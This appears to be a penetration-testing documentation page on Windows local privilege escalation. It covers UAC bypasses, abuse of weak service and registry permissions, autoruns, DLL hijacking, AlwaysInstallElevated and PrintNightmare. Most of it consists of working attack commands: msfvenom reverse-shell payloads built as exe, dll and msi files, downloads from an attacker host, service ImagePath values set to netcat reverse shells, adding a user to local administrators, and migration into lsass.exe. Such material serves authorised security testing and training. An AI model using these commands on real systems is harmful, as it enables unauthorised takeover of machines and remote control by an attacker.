> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Windows Privilege Escalation

Everything here is based on the informations gathered on the [Windows OS Enumeration](https://0-x.dev/windows-os-enumeration.md) page: an enabled token privilege, a weak service permission, a writable registry key. Token privileges themselves (`SeBackupPrivilege`, `SeDebugPrivilege`, `SeImpersonatePrivilege`, etc.) have their own page, see [Windows User Rights Assignment](https://0-x.dev/windows-user-rights-assignment.md), this page covers the misconfigurations and exploits around them instead: services, UAC, autoruns, DLL hijacking, and known local-privesc CVEs. Also check [HackTricks Windows PrivEsc](https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html) techniques.

> **Misconfiguration-Based**
>
> Weak service/registry permissions, insecure autoruns, DLL search order. No exploit code needed beyond a payload binary.

> **Exploit & CVE-Based**
>
> UAC bypasses and specific vulnerabilities (PrintNightmare) that need a known technique matched to the exact build.

***

## Automated Privesc Audit Tools

Worth running one of these before manually working through the sections below, each flags likely privesc vectors directly rather than requiring them to be spotted by hand.

[**winPEAS**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS) - already covered on [Windows OS Enumeration](https://0-x.dev/windows-os-enumeration.md)

```cmd theme={null}
winPEAS.exe
```

[**PowerUp**](https://github.com/PowerShellMafia/PowerSploit/) - the original PowerShell privesc audit script, checks services, DLL hijack opportunities, registry autoruns, and scheduled tasks in one pass.

```powershell theme={null}
Import-Module PowerUp.ps1
Invoke-PrivescAudit
```

[**PrivescCheck**](https://github.com/itm4n/PrivescCheck) - a more actively maintained, broader successor to PowerUp, worth running

```powershell theme={null}
Import-Module PrivescCheck.ps1
Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML
```

[**SharpUp**](https://github.com/GhostPack/SharpUp/) - a .NET port covering roughly the same ground as PowerUp, useful when PowerShell execution is restricted.

```powershell theme={null}
.\SharpUp.exe audit
```

> [!TIP]
>
> If you have a meterpreter session you can use the `post/multi/recon/local_exploit_suggester` module

***

## UAC

[User Account Control](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/how-it-works) gates elevated actions behind a consent prompt, a process running at a lower integrity level can't silently reach into one running higher, until a specific bypass breaks that separation.

```shellscript theme={null}
# confirm UAC is enabled at all
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

# check the configured prompt behavior / UAC Level
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
```

Also worth checking, since either one changes how remote admin logons are treated:

```shellscript theme={null}
REG QUERY HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
REG QUERY HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken
```

### Bypassing It

Known UAC bypasses are tied to the exact Windows build, so get the version first:

```powershell theme={null}
[environment]::OSVersion.Version
```

The [UACME project](https://github.com/hfiref0x/UACME) maintains every known bypass technique indexed by ID, cross-referenced against the affected build and whether Microsoft has patched it. Once the right ID is found there:

```cmd theme={null}
akagi64.exe <id-from-uacme> C:\<full-path-to-executable>
```

***

## Insecure Service Permissions

Two separate things can go wrong with a service's permissions, either is enough to run arbitrary code as whatever account the service runs as (frequently SYSTEM).

### Weak Permissions on the Service Itself

```shellscript theme={null}
accesschk.exe /accepteula -quvcw <service-name>
```

If the current user can reconfigure the service's binary path, point it at a custom command and restart the service to trigger it:

```shellscript theme={null}
sc.exe config <service-name> binpath= "cmd /c net localgroup administrators <username> /add"
sc.exe stop <service-name>
sc.exe start <service-name>
```

### Weak Permissions on the Service's Executable File

If the config itself is locked down but the binary it points to is writable, replace the binary instead of reconfiguring the service.

```powershell theme={null}
Get-Acl "<path-to-service-exe>" | Format-List
```

```bash theme={null}
# generate a replacement payload and swap it in
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-ip> LPORT=4444 -f exe > 'FileZilla Server.exe'
```

```powershell theme={null}
iwr -UseBasicParsing -Uri 'http://<attacker-ip>/FileZilla Server.exe' -OutFile 'C:\Program Files\FileZilla Server\FileZilla Server.exe'
```

> [!WARNING]
>
> The swapped binary is a payload, not the real service, so once the Service Control Manager starts it, it never calls back to report "running" the way an actual service does. The SCM gives it a short window (by default around 30 seconds) before deciding the service failed to start and killing the process, taking the meterpreter session down with it.
>
> \
> &#x20;Start a listener, restart the service (or wait for it to restart) through `services.msc` or `sc.exe`, and the moment the callback catches, **migrate out of the payload process immediately** (`migrate -N lsass.exe` in Meterpreter, or into any other stable, long-running process) before that window closes. There's no usable warning when it's about to die, only the fixed timeout, so migrate directly rather than waiting to see if the session looks stable.

### Weak Permissions on the Service's Registry Key

Same idea, as above: if `HKLM\SYSTEM\CurrentControlSet\Services` itself is writable for a given service, the `ImagePath` value can be overwritten directly, no `sc.exe` access needed at all.

```powershell theme={null}
accesschk.exe /accepteula "<user>" -kvuqsw hklm\System\CurrentControlSet\services
```

```powershell theme={null}
# Then set custom exec
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<service-name> -Name "ImagePath" -Value "C:\path\to\nc.exe -e cmd.exe <attacker-ip> 443"
```

***

## Registry Autoruns

A binary path listed in one of these registry keys runs automatically, at whatever privilege the triggering context grants, writable or hijackable autoruns are a reliable persistence/privesc primitive:

<table>
  <colgroup>
    <col width="395" />

    <col width="290" />
  </colgroup>

  <thead>
    <tr>
      <th>Key</th>
      <th>Runs as</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`</td>
      <td>Whoever logs in, system-wide</td>
    </tr>

    <tr>
      <td>`HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`</td>
      <td>The current user only</td>
    </tr>

    <tr>
      <td>`HKLM\SYSTEM\CurrentControlSet\Services`</td>
      <td>The service's configured account (see above)</td>
    </tr>
  </tbody>
</table>

```powershell theme={null}
# Get ACL for Reg key
Get-Acl -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' | Format-List
```

If the key itself (not just the value) is writable, either add a new autorun entry pointing at a payload, or overwrite an existing entry's path, via `regedit` or `Set-ItemProperty` the same way as the service `ImagePath` trick above.

```shellscript theme={null}
Set-ItemProperty -Path<key -Name "ImagePath" -Value "C:\path\to\nc.exe -e cmd.exe <attacker-ip> 443"
```

Also worth a quick look while enumerating what runs automatically:

```powershell theme={null}
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
```

***

## DLL Hijacking

If a privileged process loads a DLL by name rather than full path, and a directory earlier in its search order is writable, a malicious DLL dropped there with the same name runs in that process's context.

```bash theme={null}
# Generate a dll payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-ip> LPORT=4444 -f dll > <dll-name>.dll
```

```powershell theme={null}
# Copy it to the specific folder to dll hijack
iwr -UseBasicParsing -Uri 'http://<attacker-ip>/<dll-name>.dll' -OutFile .\<dll-name>.dll
```

Trigger whatever restarts the target process (a service restart, a scheduled task, a reboot) to get it loaded.

***

## AlwaysInstallElevated

If this policy is enabled, any user, regardless of their own privileges, can install an `.msi` package with SYSTEM rights, Windows trusts the installer itself rather than the installing user.

```shellscript theme={null}
# Check if always install elevated is enabled
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
```

```bash theme={null}
# Generate a msi payload
msfvenom -p windows/shell_reverse_tcp lhost=<attacker-ip> lport=9443 -f msi > aie.msi
```

```shellscript theme={null}
# Run the custom payload
msiexec /i C:\path\to\aie.msi /quiet /qn /norestart
```

***

## PrintNightmare

The Print Spooler attack covered in full on [AD Known Vulnerabilities](https://0-x.dev/ad/known-vulnerabilities.md) works the same way locally, used to add a local administrator instead of compromising a Domain Controller:

```powershell theme={null}
# confirm the spooler service is actually running
ls \\localhost\pipe\spoolss
```

```powershell theme={null}
# Get the script from: https://github.com/calebstewart/CVE-2021-1675
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
```

***

## Quick Reference Tools

> **[LOLBAS](https://lolbas-project.github.io/)**
>
> Lookup table for abusing legitimate Windows binaries, useful alongside several techniques above.

> **[UACME](https://github.com/hfiref0x/UACME)**
>
> Indexed list of every known UAC bypass technique by Windows build.

> **[PowerUp](https://github.com/PowerShellMafia/PowerSploit/)**
>
> Automated local privesc audit, see above.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.